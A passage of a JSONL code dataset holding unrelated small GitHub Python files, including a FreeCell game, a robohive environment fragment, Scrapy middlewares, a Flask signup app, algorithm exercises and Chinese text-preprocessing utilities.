path['done'][0] == False:\n terminated_idx = sum(~path['done'])+1\n for key in path.keys():\n path[key] = path[key][:terminated_idx+1, ...]\n path['terminated'] = True\n return paths\n\n def reset_model(self):\n self.sim.reset()\n self.model.body_pos[self.target_bid,2] = self.np_random.uniform(low=0.1, high=0.25)\n self.sim.forward()\n return self.get_obs()\n\n def get_env_state(self):\n \"\"\"\n Get state of hand as well as objects and targets in the scene\n \"\"\"\n qpos = self.data.qpos.ravel().copy()\n qvel = self.data.qvel.ravel().copy()\n board_pos = self.model.body_pos[self.model.body_name2id('nail_board')].copy()\n target_pos = self.data.site_xpos[self.target_obj_sid].ravel().copy()\n return dict(qpos=qpos, qvel=qvel, board_pos=board_pos, target_pos=target_pos)\n\n def set_env_state(self, state_dict):\n \"\"\"\n Set the state which includes hand as well as objects and targets in the scene\n \"\"\"\n qp = state_dict['qpos']\n qv = state_dict['qvel']\n board_pos = state_dict['board_pos']\n self.set_state(qp, qv)\n self.model.body_pos[self.model.body_name2id('nail_board')] = board_pos\n self.sim.forward()\n\n def mj_viewer_setup(self):\n self.viewer = MjViewer(self.sim)\n self.viewer.cam.azimuth = 45\n self.viewer.cam.distance = 2.0\n self.sim.forward()\n\n # evaluate paths and log metrics to logger\n def evaluate_success(self, paths, logger=None):\n num_success = 0\n num_paths = len(paths)\n horizon = self.spec.max_episode_steps # paths could have early termination\n\n # success if door open for 5 steps\n for path in paths:\n if np.sum(path['env_infos']['solved']) > 5:\n num_success += 1\n success_percentage = num_success*100.0/num_paths\n\n # log stats\n if logger:\n rwd_sparse = np.mean([np.mean(p['env_infos']['rwd_sparse']) for p in paths]) # return rwd/step\n rwd_dense = np.mean([np.sum(p['env_infos']['rwd_dense'])/horizon for p in paths]) # return rwd/step\n logger.log_kv('rwd_sparse', rwd_sparse)\n logger.log_kv('rwd_dense', rwd_dense)\n logger.log_kv('success_percentage', success_percentage)\n\n return success_percentage\n","repo_name":"vikashplus/robohive","sub_path":"robohive/envs/hands/hammer_v0.py","file_name":"hammer_v0.py","file_ext":"py","file_size_in_byte":10228,"program_lang":"python","lang":"en","doc_type":"code","stars":315,"dataset":"github-code","pt":"72"} +{"seq_id":"4496942068","text":"#Importing class deck that will be used to make the freecell game\nfrom deck import Deck\n\n#The last class\n#Designed to create the game using class card and deck.\n#The class has the ability to create a deck, create the structure of the game\n#Validate user inputs and implement the rules of the game\nclass NotFreecell(Deck):\n\n #Constructor\n #Initial method for object creation\n #Intialise the value of the instance attributes\n #Contains the Instance attributes\n #The first thing done here was calling the class deck and the functions inside it to create a deck.\n #self.deck defines the deck containing 52 card and 4 different suits\n #self.cpile are all the 8 piles of the game\n #self.cpile defines a list of list that was created from the deck.\n #self.ccascade are the 4 cells of the game which are initially empty.\n #self.cfoundation are the 4 foundations of the game which are intially empty.\n def __init__(self):\n aDeck = Deck(1,13,4)\n aDeck.deck_generator()\n self.deck = aDeck\n self.cpile= []\n self.cfoundation=[[],[],[],[]]\n self.ccascade= ['', '', '', '']\n\n #Prints the internal value of the objects in form of a string.\n #Returns the freecell heading and empty cell and foundations.\n def __str__(self):\n\n #Heading of the free cell\n print('Cells'+'\\t\\t\\t\\t\\t\\t\\t'+'Foundations')\n\n #if statements that check if the cell has any elements in it\n newString=\"\"\n if self.ccascade[0]:\n newString += '['+str(self.ccascade[0])+'] '\n else:\n newString += '[ ] '\n if self.ccascade[1]:\n newString += '[' + str(self.ccascade[1]) + '] '\n else:\n newString += '[ ] '\n if self.ccascade[2]:\n newString += '[' + str(self.ccascade[2]) + '] '\n else:\n newString += '[ ] '\n if self.ccascade[3]:\n newString += '[' + str(self.ccascade[3]) + '] '\n else:\n newString += '[ ] '\n\n #if statements that check if the foundations has any elements in it\n if len(self.cfoundation[0]) > 0:\n newString += '['+str(self.cfoundation[0][len(self.cfoundation[0])-1])+'] '\n else:\n newString += '[ ] '\n if len(self.cfoundation[1]) > 0:\n newString += '['+str(self.cfoundation[1][len(self.cfoundation[1])-1])+'] '\n else:\n newString += '[ ] '\n if len(self.cfoundation[2]) > 0:\n newString += '['+str(self.cfoundation[2][len(self.cfoundation[2])-1])+'] '\n else:\n newString += '[ ] '\n if len(self.cfoundation[3]) > 0:\n newString += '['+str(self.cfoundation[3][len(self.cfoundation[3])-1])+'] '\n else:\n newString += '[ ] '\n return newString\n\n #Accesors\n #To get access to the instance attribute\n #Since instance attributes are local to the class\n #Used to get access to the deck, piles,cells and fondations repectively.\n def get_theDeck(self):\n return self.deck.get_deck()\n\n def get_cpile(self):\n return self.cpile\n\n def get_ccascade(self):\n return self.ccascade\n\n def get_cfoundation(self):\n return self.cfoundation\n\n\n #function to get largest list inside a list\n #this function iterates a list of list\n #find the list that is the largest inside the list of lists\n #return back the maximum amount of objects stored inside the largest list\n def get_largest(self,x):\n i = 0\n max = 0\n while i < len(x):\n if len(x[i]) > max:\n max = len(x[i])\n i += 1\n return max\n\n\n\n #function to creates lists inside a list\n #this fucntion creates cpiles from the deck\n #it creates 8 piles with the first 4 holding 7 cards repectively\n #the other 4 piles will hold 6 cards repectively, in total making up 52 cards.\n #the process starts with first storing 28 cards into 4 lists of equal length known as cpile1\n #the next process is to store 24 cards into 4 lists of equal lengths known as cpile2\n #finally cpile1 and cpile2 are combined together to form cpile\n #cpile is a list that holds 8 lists in it, these 8 lists are the 8 piles of the freecell\n def print_deck(self):\n cpile1 = []\n cpile2 = []\n\n #cards added to cpile1\n i = 0\n while i < 28:\n cpile1.append(self.get_theDeck()[i])\n i += 1\n\n #cards added to cpile2\n i = 28\n while i < 52:\n cpile2.append(self.get_theDeck()[i])\n i += 1\n\n #dividing cards in each list by 4\n cpile1 = [cpile1[i:i + 7] for i in range(0, len(cpile1), 7)]\n cpile2 = [cpile2[i:i + 6] for i in range(0, len(cpile2), 6)]\n\n #adding cpile1 to cpile\n i = 0\n while i < len(cpile1):\n self.cpile.append(cpile1[i])\n\n i += 1\n\n\n #adding cpile2 to cpile\n #this leaves us with cpile a list that hold 8 list or in our game you can call them 8 piles\n i = 0\n while i < len(cpile2):\n self.cpile.append(cpile2[i])\n i += 1\n\n\n\n #funtion to print in freecell format\n #this fuction creates the previously constructed funtion get_largest\n #this fuction takes the created cpile\n #printing the lists inside the cpile into appropriate columns with equal spaces between them\n #it makes use of nested while loops\n #we start first by creating a string known as result_string and calling the get_largest function.\n #the inner loop iterates inside the list's of cpile\n #the outerloop iterates according to the output obtained via get_largest fuction\n def freecell_pile(self):\n x = self.cpile;\n largestPile = self.get_largest(x)\n result_string=\"\"\n i = 0\n while i < largestPile:\n j = 0\n lineString = ' '\n while j < len(x):\n if (len(x[j]) < largestPile) and (len(x[j]) < i + 1):\n lineString += \" \"\n\n else:\n lineString += str(x[j][i]) + ' '\n j += 1\n\n lineString+='\\n'\n result_string+=lineString\n i += 1\n\n return result_string\n\n\n\n #After having all the functions to display the freecell we will now be validating all the moves.\n #Also, implementing the rules of the game.\n\n\n #the first fuction returns a true value if each foundation has a length of 13 cards.\n def win_freecell(self):\n if (len(self.get_cfoundation()[0])==13) and (len(self.get_cfoundation()[1])==13):\n if (len(self.get_cfoundation()[2]) == 13) and (len(self.get_cfoundation()[3])==13):\n return True\n\n\n #Since the cell can only hold one card at a time\n #The fuction will return true if the cell is empty and return false if otherwise.\n def validateInput_cascade(self,theList):\n if not theList:\n return True\n else:\n return False\n\n\n\n #can cardValue be added to theList?\n #This function take in a card and a pile, checks if a card can be added to a pile\n #face_order shows the sequence of the card faces\n #It first checks for the valid face of the card\n #Then checks for the valid suit\n #Finally if both values return a true value it returns true for the whole fuction\n def validateInput_pile(self,cardValue, theList):\n\n #Sequence of the card faces\n face_order = ['1', '2', '3', '4', '5', '6', '7', '8', '9', 'X', 'J', 'Q', 'K']\n\n #to value is the last card of the pile.\n toValue = theList[len(theList) - 1]\n\n #if statements that check for a valid face.\n validFace = False\n i = 0\n while (i < len(face_order)):\n if toValue.get_face() == face_order[i]:\n if cardValue.get_face() == face_order[i - 1]:\n validFace = True\n break;\n i += 1\n if not validFace:\n print(\"Sorry, the face value needs to be lower than the card present in the pile.\")\n\n #if statements to check for a valid suit.\n validSuit = False\n if toValue.get_suit() == 'C' or toValue.get_suit() == 'S':\n if cardValue.get_suit() == 'H' or cardValue.get_suit() == 'D':\n validSuit = True\n\n if toValue.get_suit() == 'H' or toValue.get_suit() == 'D':\n if cardValue.get_suit() == 'C' or cardValue.get_suit() == 'S':\n validSuit = True\n if not validSuit:\n print(\"Sorry,the suit value is not valid.\");\n\n #if statements to check if suit and face are valid or not\n if validSuit and validFace:\n\n return True\n else:\n return False\n\n\n\n #can cardValue be added to theList?\n #The next function checks for the valid input for foundation\n #it builds on the same concept of the function to add cards to a pile\n #But does validations in a different way.\n def validateInput_foundation(self,cardValue, theList):\n\n #the if statement first checks if the card's first value entered is 1\n #if so it returns true and if not then it goes and check if cards are of appropriate suit to add\n #to the foundation\n if cardValue.get_face() == \"1\" and len(theList) == 0:\n return True\n elif len(theList) == 0:\n return False\n\n #sequence of the cards face\n face_order = ['1', '2', '3', '4', '5', '6', '7', '8', '9', 'X', 'J', 'Q', 'K']\n\n #Last card present in a foundation\n toValue = theList[len(theList) - 1]\n\n #Checks if it is a valid face to add to the foundation\n validFace = False\n i = 0\n while (i < len(face_order)):\n if toValue.get_face() == face_order[i]:\n if cardValue.get_face() == face_order[i + 1]:\n validFace = True\n break;\n i += 1\n if not validFace:\n print(\"Sorry, the face value needs to be highter than the card present in the pile.\")\n\n #checks if it is a valid suit to add to the foundation\n validSuit = False\n if toValue.get_suit() == cardValue.get_suit():\n validSuit = True\n\n if not validSuit:\n print(\"Sorry,the suit value need to be the same in a foundation.\");\n\n #If the suit and face are found valid it returns a true value\n if validSuit and validFace:\n\n return True\n else:\n return False\n\n\n\n #The next function checks for the input that the user makes.\n #I have used a dictionary which only specifies the inputs user can make in order to make a move.\n #The function the userinput and checks if that input is specified in the dictionary.\n #It then assigns an empty string a corresponding value according to the dictionary\n #For example if a userinput= P1 it will assign the string empty string to be a \"pile\"\n #If the input is part of the dictionary it returns it as true.\n #Otherwise it returns it as false.\n def validateInput_userInput(self,x, y):\n\n #Defining the dictionary of the userinput moves.\n moves = {\"P1\": \"pile\", \"P2\": \"pile\", \"P3\": \"pile\", \"P4\": \"pile\", \"P5\": \"pile\"\n , \"P6\": \"pile\", \"P7\": \"pile\", \"P8\": \"pile\"\n , \"C1\": \"cell\", \"C2\": \"cell\", \"C3\": \"cell\", \"C4\": \"cell\"\n , \"F1\": \"foundation\", \"F2\": \"foundation\", \"F3\": \"foundation\", \"F4\": \"foundation\"}\n\n #Empty strings\n value1 = \"\"\n value2 = \"\"\n\n #Checking if users first input is valid\n validmove1 = False\n for i in moves.keys():\n if str(x) == str(i):\n\n #If move is valid it assigns the empty string a value from the dictionary\n validmove1 = True\n value1 = moves[x]\n\n break\n if not validmove1:\n print('Sorry, the first input is invalid')\n\n #Checking if the second user input is valid\n validmove2 = False\n for j in moves.keys():\n if str(y) == str(j):\n\n #If move is valid it assigns the empty string a value from the dictionary\n validmove2 = True\n value2 = moves[y]\n break\n if not validmove2:\n print('Sorry, the first input is invalid')\n\n #if both userinputs are valid it returns the empty string(with a value) that we defined in the start.\n if (validmove1 == True) and (validmove2 == True):\n return value1, value2\n else:\n return False\n\n\n #This last function validates all of the moves.\n #Using all of the validations for pile,cell and foundation done above.\n def move_freecell(self, x, y):\n\n #Calls function to check if user make a valid input\n result= self.validateInput_userInput(x,y)\n\n if not result:\n print(\"INVALID INPUT.\")\n return\n\n #Dealing with the first input, that is from where would you like to make the move\n #Defining an empty string to store the from and the to card\n lFromCard = \"\"\n lFromList = \"\"\n lToList = \"\"\n\n #Checks the first user input, if the move has to be made from a pile\n if result[0] == \"pile\":\n\n #lFromCard find the last element of the list inside cpile according to input\n #lFromList find the list where the card needs to be removed\n lFromCard = self.cpile[int(x[1])-1][len(self.cpile[int(x[1])-1])-1]\n lFromList = self.cpile[int(x[1])-1]\n\n #Checks the first user input, if the move has to be made from a foundation\n if result[0] == \"foundation\":\n\n #checks if the foundation is empty\n if len(self.cfoundation[int(x[1])-1]) < 1:\n print(\"Foundation \"+str(int(x[1]))+\" is empty.\")\n return False\n\n #lFromCard find the last element of the list inside cfoundation according to input\n #lFromList find the list where the card needs to be removed\n lFromCard = self.cfoundation[int(x[1])-1][len(self.cfoundation[int(x[1])-1])-1]\n lFromList = self.cfoundation[int(x[1])-1]\n\n #Checks if the cell is empty.\n if result[0] == \"cell\":\n if not self.ccascade[int(x[1])-1]:\n print(\"Cell \"+str(int(x[1]))+\" is empty.\")\n return False\n\n #Finding the element that needs to be removed.\n lFromCard = self.ccascade[int(x[1])-1]\n lFromList = self.ccascade[int(x[1]) - 1]\n\n #Checking which pile the card needs to be added to, and validates the move\n if result[1] == \"pile\":\n lToList = self.cpile[int(y[1])-1]\n if self.validateInput_pile(lFromCard, lToList):\n pilePopped = lFromList.pop()\n lToList.append(pilePopped)\n print(\"Card moved to the pile.\")\n else:\n print(\"No card was moved to the pile.\")\n\n #Checking which foundation the card needs to be added to, and validates the move\n if result[1] == \"foundation\":\n lToList = self.cfoundation[int(y[1])-1]\n if self.validateInput_foundation(lFromCard, lToList):\n if result[0] == \"cell\":\n foundoPopped = lFromList\n self.ccascade[int(x[1]) - 1] = ''\n else:\n foundoPopped = lFromList.pop()\n lToList.append(foundoPopped)\n print(\"Card moved to the foundation.\");\n else:\n print(\"No card was moved to the foundation.\")\n\n #Checking which cell the card needs to be added to, and validates the move\n if result[1] == \"cell\":\n if self.validateInput_cascade(lToList):\n if result[0] == \"cell\":\n cellPopped = lFromList\n self.ccascade[int(x[1]) - 1] = ''\n else:\n cellPopped = lFromList.pop()\n self.ccascade[int(y[1]) - 1] = cellPopped\n print(\"Card moved to the cell.\")\n else:\n print(\"No card was moved to the cell.\")\n\n #asks user for the next input.\n print(\"Please make the next input.\")\n\n\n\n\n\n\n\n\ndef main():\n\n #Priting welcome note for the user, displaying some of the rules of input.\n print(\"Welcome to freecell, we are glad that you are here :-)\",'\\n')\n print(\"The following rules apply to the freecell input:\",'\\n')\n print(\"1) All inputs made by a player are case sensitive,therefore they all need to be in the upper case.\")\n print(\"2) At one instance only one input can be made by the user.\")\n print(\"3) Intially, there will be 8 piles these can be accessed with inputs P1-P8.\")\n print(\"4) Also, there will be 4 cells these can be accessed with inputs C1-C4.\")\n print(\"5) Finally, there will be 4 foundations these can be accessed with inputs F1-F4.\")\n\n #If the user has read the inputs then they can enter into the game.\n ruleInput=\" \"\n while ruleInput!='Y':\n ruleInput = input('\\nHave you read the rules of the game? Press Y for yes, N for no: ')\n print(\"\\n\")\n\n #In case user enters input in the lower case\n if ruleInput == ruleInput.lower():\n print('You need to make inputs in upper case')\n\n #Once user make all the relavant input the game starts\n if ruleInput=='Y':\n\n #Initializing the freecell\n a=NotFreecell()\n\n #Adding cards to the deck\n ans=a.get_theDeck()\n\n #dShuffling cards inside the deck\n a.deck_shuffle(ans)\n\n #Calling function to print the deck in a column form\n a.print_deck()\n\n #Priting the freecell\n print(a)\n print(a.freecell_pile())\n\n #Taking user input to make a move or to quit the game\n userInput = ''\n while userInput != 'Q':\n userInput=input ('\\npress Q to quit,M for move:')\n if userInput=='Q':\n\n #If user chooses to quit the game\n print('See you again, Have a lovely day :-)')\n\n elif userInput=='M':\n\n #If the user decides to make the move.\n userInput1=str(input('Where would u like to move the card from?'))\n userInput2=str(input('Where would u like to move the card to?'))\n print('\\n')\n\n #Checking if user made input in lower or upper case.\n if userInput1==userInput1.lower() or userInput2==userInput2.lower():\n print('You need to make inputs in upper case')\n\n #Using fuctions in class to make move to and from location.\n a.move_freecell(userInput1, userInput2)\n\n #Once an input is made and the function is executed, we print the freecell to show the output\n print(a)\n print(a.freecell_pile())\n\n #If user give an invalid input for a move\n else:\n print(\"Sorry, that seems to be an invalid input :-(\")\n\n #If user doesn't read the rules.\n elif ruleInput==\"N\":\n print(\"Please read the rules\")\n\n #If user makes an invalid input before the game starts.\n else:\n print(\"Invalid selection\")\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"hamzaalikhan/freecell","sub_path":"notfreecell.py","file_name":"notfreecell.py","file_ext":"py","file_size_in_byte":19595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16249264238","text":"from django.urls import path\nfrom .views import home, about, services, contact\n\napp_name = \"home\"\n\nurlpatterns = [\n path('', home, name=\"homeview\"),\n path('about/', about, name=\"aboutview\"),\n path('services/', services, name=\"servicesview\"),\n path('contact/', contact, name=\"contactview\"),\n]","repo_name":"Fierce-01/stage7-kodecamp","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21428270306","text":"import json\nimport requests, pprint\n\nurl = 'https://miffle.braydenlab.com/miffle/file_get_json.php'\n#headers = {'content-type': 'application/json'}\n\nf = open('train_condition.json', 'r')\njson_file = json.load(f)\n\nresponse = requests.post(url, data=json.dumps(json_file))\n\npprint.pprint(response.text)\n","repo_name":"ErickRyu/PythonPlayground","sub_path":"network/post_json.py","file_name":"post_json.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13268160511","text":"import random\n\nimport logging\nimport requests\n\n\nclass RandomUserAgentMiddleware:\n def __init__(self):\n self.user_agent = [\n 'Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0',\n 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0'\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66'\n ]\n\n def process_request(self, request, spider):\n request.headers['User-Agent'] = random.choice(self.user_agent)\n\n\nclass ProxyMiddleware:\n def __init__(self, proxy_url):\n self.logger = logging.getLogger(__name__)\n self.proxy_url = proxy_url\n\n def get_random_proxy(self):\n try:\n response = requests.get(self.proxy_url)\n if response.status_code == 200:\n proxy = response.text\n return proxy\n except requests.ConnectionError:\n return False\n\n def process_request(self, request, spider):\n if request.meta.get('retry_times'):\n proxy = self.get_random_proxy()\n if proxy:\n uri = 'https://{proxy}'.format(proxy=proxy)\n self.logger.debug('使用代理 ' + proxy)\n request.meta['proxy'] = uri\n\n @classmethod\n def from_crawler(cls, crawler):\n settings = crawler.settings\n return cls(\n proxy_url=settings.get('PROXY_URL')\n )\n","repo_name":"Tatcheong/RecruitmentSpider","sub_path":"RecruitmentSpider/middlewares.py","file_name":"middlewares.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"27868014546","text":"# python3\n\n\ndef compute_min_number_of_refills(d, m, stops):\n assert 1 <= d <= 10 ** 5\n assert 1 <= m <= 400\n assert 1 <= len(stops) <= 300\n assert 0 < stops[0] and all(stops[i] < stops[i + 1] for i in range(len(stops) - 1)) and stops[-1] < d\n refills = 0\n last_stopped_at = 0\n stops.append(d)\n for i in range(len(stops)):\n if (stops[i] - last_stopped_at) <= m:\n continue\n elif i == 0 or stops[i] - stops[i-1] > m:\n refills = -1\n break\n else:\n refills += 1\n last_stopped_at = stops[i-1]\n\n return refills\n\n\nif __name__ == '__main__':\n input_d = int(input())\n input_m = int(input())\n input_n = int(input())\n input_stops = list(map(int, input().split()))\n assert len(input_stops) == input_n\n\n print(compute_min_number_of_refills(input_d, input_m, input_stops))\n","repo_name":"chobostar/education_and_training","sub_path":"coursera/algorithmic_toolbox/Greedy Algorithms/Car Fueling/car_fueling.py","file_name":"car_fueling.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12257893343","text":"# Authors : Jayaprakash A. Polu Varshith, SST Siddhardha\n# Purpose : Computer-Networks-Assignment\n# Faculty : Dr. Piyush Kurur\n# Download object code\n\nimport threading\nclass Download_file_object:\n\tdownload_id = 0\n\tdef __init__(self, url_link, no_of_threads):\n\t\tif(Download_file_object.download_id < 30):\n\t\t\tself.download_id += 1\n\t\telse:\n\t\t\tself.download_id = 0\n\t\tself.url_link = url_link\n\t\tself.current_size, self.size, self.paused = 0, 0, 0\n\t\tself.no_of_threads = no_of_threads\n\t\tself.data = []\n\t\tself.pause_file_name = 'none'\n\t\tfor i in range(self.no_of_threads):\n\t\t\tself.data.append(None)\n\t\tself.thread_list = []\n","repo_name":"siddhardhasst/CN-project","sub_path":"download_helper.py","file_name":"download_helper.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37609209418","text":"import unittest\n\nimport numpy as np\nimport scipy.sparse as sps\n\nimport viscojapan as vj\nfrom viscojapan.inversion.inversion_parameters_set import InversionParametersSet\n\n\nclass TestInversionParametersSet(vj.MyTestCase):\n def setUp(self):\n self.this_script = __file__\n super().setUp()\n\n def test_only_G_d(self):\n G = np.ones((10,50))\n d = np.ones((10,1))\n InversionParametersSet(G=G, d=d)\n\n def test_all_0(self):\n G = np.ones((10,5))\n d = np.ones((10,1))\n W = sps.eye(10)\n L = sps.csr_matrix((10,5))\n B = sps.csr_matrix((5,10))\n Bm0 = sps.csr_matrix((5,1))\n InversionParametersSet(G=G, d=d, W=W, B=B, L=L, Bm0=Bm0)\n\n def test_gen_inputs_for_cvxopt_qp(self):\n G = np.ones((10,50))\n d = np.ones((10,1))\n ps = InversionParametersSet(G=G, d=d)\n P, q = ps.gen_inputs_for_cvxopt_qp()\n print(P)\n print(q)\n \n \n \nif __name__=='__main__':\n unittest.main()\n","repo_name":"zy31415/viscojapan","sub_path":"tests/test_inversions/test_inversion_parameters_set.py","file_name":"test_inversion_parameters_set.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"27498497229","text":"from flask import Flask,render_template,url_for,request\nfrom flask_sqlalchemy import SQLAlchemy\n\napp=Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI']=\"sqlite:///collegeinfo.db\"\n\nmydb=SQLAlchemy(app)\n#database connection\nclass Signup(mydb.Model):\n\tid=mydb.Column(mydb.Integer,primary_key=True)\n\ts_name=mydb.Column(mydb.String(200))\n\troll_no=mydb.Column(mydb.String(50))\n\tmail_id=mydb.Column(mydb.String(50))\n\tphone_no=mydb.Column(mydb.String(50))\n\tbranch=mydb.Column(mydb.String(50))\n\tdef __init__(self,name,rollno,emailid,phno,branch):\n\t\tself.s_name=name\n\t\tself.roll_no=rollno\n\t\tself.mail_id=emailid\n\t\tself.phone_no=phno\n\t\tself.branch=branch\n\n@app.route('/myportal/signup',methods=['POST','GET'])\ndef signup():\n\tif request.method==\"POST\":\n\t\t#data=request.form\n\t\tstu_name=request.form['sname']\n\t\tstu_rollno=request.form['rollno']\n\t\tstu_email=request.form['email']\n\t\tstu_phno=request.form['phno']\n\t\tstu_branch=request.form['branch']\n\n\t\tsgn = Signup(stu_name,stu_rollno,stu_email,stu_phno,stu_branch)\n\t\tmydb.session.add(sgn)\n\t\tmydb.session.commit()\n\t\treturn render_template('status.html')\n\t\t#print(stu_name,stu_rollno,stu_email,stu_phno,stu_branch)\n\treturn render_template(\"signup.html\")\n\n@app.route('/myportal/studentList',methods=['POST','GET'])\ndef display():\n\n\n\treturn render_template('showDetails.html',data=Signup.query.all())\n\nif __name__==\"__main__\":\n\tmydb.create_all()\n\tapp.run(debug=True)","repo_name":"Srinivasareddymediboina/Web-Development-Srinivasa-Reddy-","sub_path":"Student/Collegeinfo/Myproject.py","file_name":"Myproject.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30413010189","text":"a = [1,4,5,6,7]\r\na = a.insert(2,8)\r\nprint(a)\r\n\r\ndef queue_time(customers,n):\r\n list_temp = [0]*n\r\n for item in customers:\r\n list_temp[list_temp.index(min(list_temp))] += item #找到当前所有购物台中总用时最少的,让队列头加入该购物台\r\n return max(list_temp)\r\n\r\ndef hotPotato(namelist, num):\r\n\tsimqueue = Queue()\r\n\tfor item in namelist:\r\n\t\tsimqueue.enqueue(item)\r\n\twhile(simqueue.size()>1):\r\n\t\tfor i in range(num):\r\n\t\t\tsimqueue.enqueue(simqueue.dequeue())\r\n\t\tsimqueue.dequeue()\r\n\treturn simqueue.dequeue()\r\n","repo_name":"missOrange93/Coding","sub_path":"queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18281317225","text":"import os\nimport numpy as np\n\ndef find_datasets(cellDir, stimDir):\n \n fnames = os.listdir(cellDir)\n\n stimFiles = []\n respFiles = []\n \n for fname in fnames:\n if fname.startswith('stim'):\n stimFiles.append(fname)\n if fname.startswith('spike'):\n respFiles.append(fname)\n \n \n srPairs = get_sr_files(respFiles, stimFiles, cellDir, stimDir)\n \n dataset = {'dirname': cellDir, 'srPairs': srPairs}\n\n return dataset\n\ndef get_sr_files(respFiles, stimFiles, cellDir, stimDir):\n \n srPairs = {}\n stimFilesGood = []\n respFilesGood = []\n \n for spikeFile in np.sort(respFiles):\n\n # Get the spike id for the spike file.\n idNum = spikeFile.strip('spike')\n\n # Find corresponding stim link file\n stimLinkFile = 'stim' + idNum\n\n if stimLinkFile in stimFiles:\n with open(os.path.join(cellDir,stimLinkFile), 'r') as f:\n wavFile = f.readline().strip()\n stimFilesGood.append(os.path.join(stimDir, wavFile))\n respFilesGood.append(os.path.join(cellDir, spikeFile))\n else:\n print('Warning: Cound not find stim file for spike file', spikeFile)\n\n\n srPairs['stimFiles'] = stimFilesGood\n srPairs['respFiles'] = respFilesGood\n \n return srPairs\n\n","repo_name":"theunissenlab/strfPy","sub_path":"module/strfpy/findDatasets.py","file_name":"findDatasets.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73964439913","text":"def bubbleSort(A):\n\tmaxIndex = len(A)\n\tisSorted = False \n\ttotalSwaps = 0\n\n\twhile (not isSorted):\n\t\tnumSwapsI = 0\n\t\tfor i in range(0, maxIndex - 1, 1):\n\t\t\tcurrVal = A[i]\n\t\t\tnextVal = A[i+1]\n\t\t\tif currVal > nextVal:\n\t\t\t\tA[i+1] = currVal\n\t\t\t\tA[i] = nextVal\n\t\t\t\tnumSwapsI += 1 \n\t\t\n\t\ttotalSwaps += numSwapsI\n\t\tif numSwapsI == 0:\n\t\t\tisSorted = True \n\n\treturn A","repo_name":"chewqiutrain/qfoundation","sub_path":"qfoundation/sorting/bubbleSort/BubbleSort.py","file_name":"BubbleSort.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2045106599","text":"t=int(input())\nfor i in range(t):\n n=int(input())\n p = list(map(int,input().split()))\n maximums=[]\n maximums.append(p[0]) \n for element in p:\n if(element>maximums[-1]):\n maximums.append(element)\n else:\n for i in range(len(maximums)-1):\n if(element') # 89 html tag\nHTML_SUB = ''\nRE1 = re.compile(r'[-]{2,}') # 268\nRE1_SUB = '-'\nRE2 = re.compile(r'[_]{2,}') # 79\nRE2_SUB = '_'\nRE3 = re.compile(r'\\*{2,}') # 139\nRE3_SUB = '*'\nRE4 = re.compile(r'[^\\u4e00-\\u9fa5\\w ]')\nRE4_SUB = ''\nRE_PUNC = re.compile(r'[,;\\.\\?!:\\'\",;。?!:‘’“”·、\\(\\)()《》【】]')\nPUNC_SUB = ''\n\n\ndef preprocess_lcqmc(text, lower=True, q2b=True, clean=True):\n text = text.strip()\n if lower:\n text = text.lower()\n if q2b:\n text = quan2ban(text)\n if clean:\n text = RE_MULTI_BLANK.sub(MULTI_BLANK_SUB, text)\n text = RE_HTML.sub(HTML_SUB, text)\n text = RE1.sub(RE1_SUB, text)\n text = RE2.sub(RE2_SUB, text)\n text = RE3.sub(RE3_SUB, text)\n # text = RE_PUNC.sub(PUNC_SUB, text)\n text = text.strip()\n return text\n\n\n# data utils\ndef read_csv(file_path, quotechar='\"', delimiter=','):\n \"\"\"Reads a `,` or `\\t` separated value file.\"\"\"\n with open(file_path, \"r\", encoding=\"utf-8\") as f:\n reader = csv.reader(f, delimiter=delimiter, quotechar=quotechar)\n lines = []\n for line in reader:\n lines.append(line)\n return lines\n\n\nclass TextPairExample():\n def __init__(self, text_a, text_b, label=None):\n self.text_a = text_a\n self.text_b = text_b\n self.label = label\n\n\ndef create_lcqmc_examples(lines):\n examples = []\n for line in lines:\n assert len(line) == 3\n text_a = line[0]\n text_b = line[1]\n label = line[2]\n examples.append(TextPairExample(text_a, text_b, label))\n return examples\n\n\nclass LcqmcProcessor():\n def __init__(self, data_dir):\n self.train_examples_path = os.path.join(data_dir, 'train.tsv')\n self.dev_examples_path = os.path.join(data_dir, 'dev.tsv')\n self.test_examples_path = os.path.join(data_dir, 'test.tsv')\n\n def get_train_examples(self):\n return 